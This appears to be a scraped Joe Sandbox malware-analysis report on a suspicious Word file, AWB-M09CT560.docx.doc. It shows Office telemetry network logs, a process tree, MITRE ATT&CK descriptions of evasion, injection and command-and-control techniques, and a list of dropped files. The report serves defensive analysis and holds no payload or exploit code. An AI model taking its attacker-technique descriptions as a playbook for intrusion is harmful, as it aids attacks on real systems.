2024-10-30 06:28:32 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49981	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:32 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:32 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:32 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062832Z-16849878b78zqkvcwgr6h55x9n0000000760000000001p84 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:32 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49983	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:32 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:32 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: b9221649-501e-0064-3dfa-281f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062832Z-r197bdfb6b466qclztvgs64z1000000009a000000000a272 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:32 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49984	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:32 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:33 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: de5f6a9b-601e-000d-3d18-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062833Z-16849878b78g2m84h2v9sta29000000006h000000000b7de x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:33 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49985	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:33 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:33 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: bb32e714-c01e-008d-58b0-262eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062833Z-16849878b78g2m84h2v9sta29000000006hg00000000afgm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:33 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49987	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:33 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:33 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:33 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 2d748408-801e-0048-3eee-25f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062833Z-16849878b78g2m84h2v9sta29000000006g000000000emxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Target ID:	0
Start time:	02:27:09
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0xeb0000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:27:39
Start date:	30/10/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff625e90000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:27:42
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\verclsid.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\verclsid.exe /S /C {00020830-0000-0000-C000-000000000046} /I {00000112-0000-0000-C000-000000000046} /X 0x5
Imagebase:	0x260000
File size:	11'776 bytes
MD5 hash:	190A347DF06F8486F193ADA0E90B49C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:27:42
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
Imagebase:	0x1d0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:27:44
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
Imagebase:	0x1d0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AWB-M09CT560.docx.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt (copy)

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9380B05C.png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E13E797D.emf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FCC99CAD.png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{EAD03B08-D38F-478F-A357-709EB0ED1D18}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{1DB43F7C-C0FA-4460-B641-566F2D632836}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{CE0B1BAC-A728-4D15-9299-6FA004914D94}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bkeoxH[1].txt

C:\Users\user\AppData\Local\Temp\C69BA462.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1730269631408233400_05BCD4A2-EBFD-4E8D-969B-CA14E9BD6CB7.log

C:\Users\user\AppData\Local\Temp\TCD27B.tmp\Mesh.thmx

C:\Users\user\AppData\Local\Temp\TCD27B.tmp\content.inf

C:\Users\user\AppData\Local\Temp\TCD2AB.tmp\Main_Event.thmx

C:\Users\user\AppData\Local\Temp\TCD2AB.tmp\content.inf

C:\Users\user\AppData\Local\Temp\TCD32A.tmp\Vapor_Trail.thmx

C:\Users\user\AppData\Local\Temp\TCD32A.tmp\content.inf

C:\Users\user\AppData\Local\Temp\TCD5CC.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCD5CC.tmp\Insight design set.dotx

C:\Users\user\AppData\Local\Temp\TCDE9D0.tmp\Content.inf

Windows Analysis Report
AWB-M09CT560.docx.doc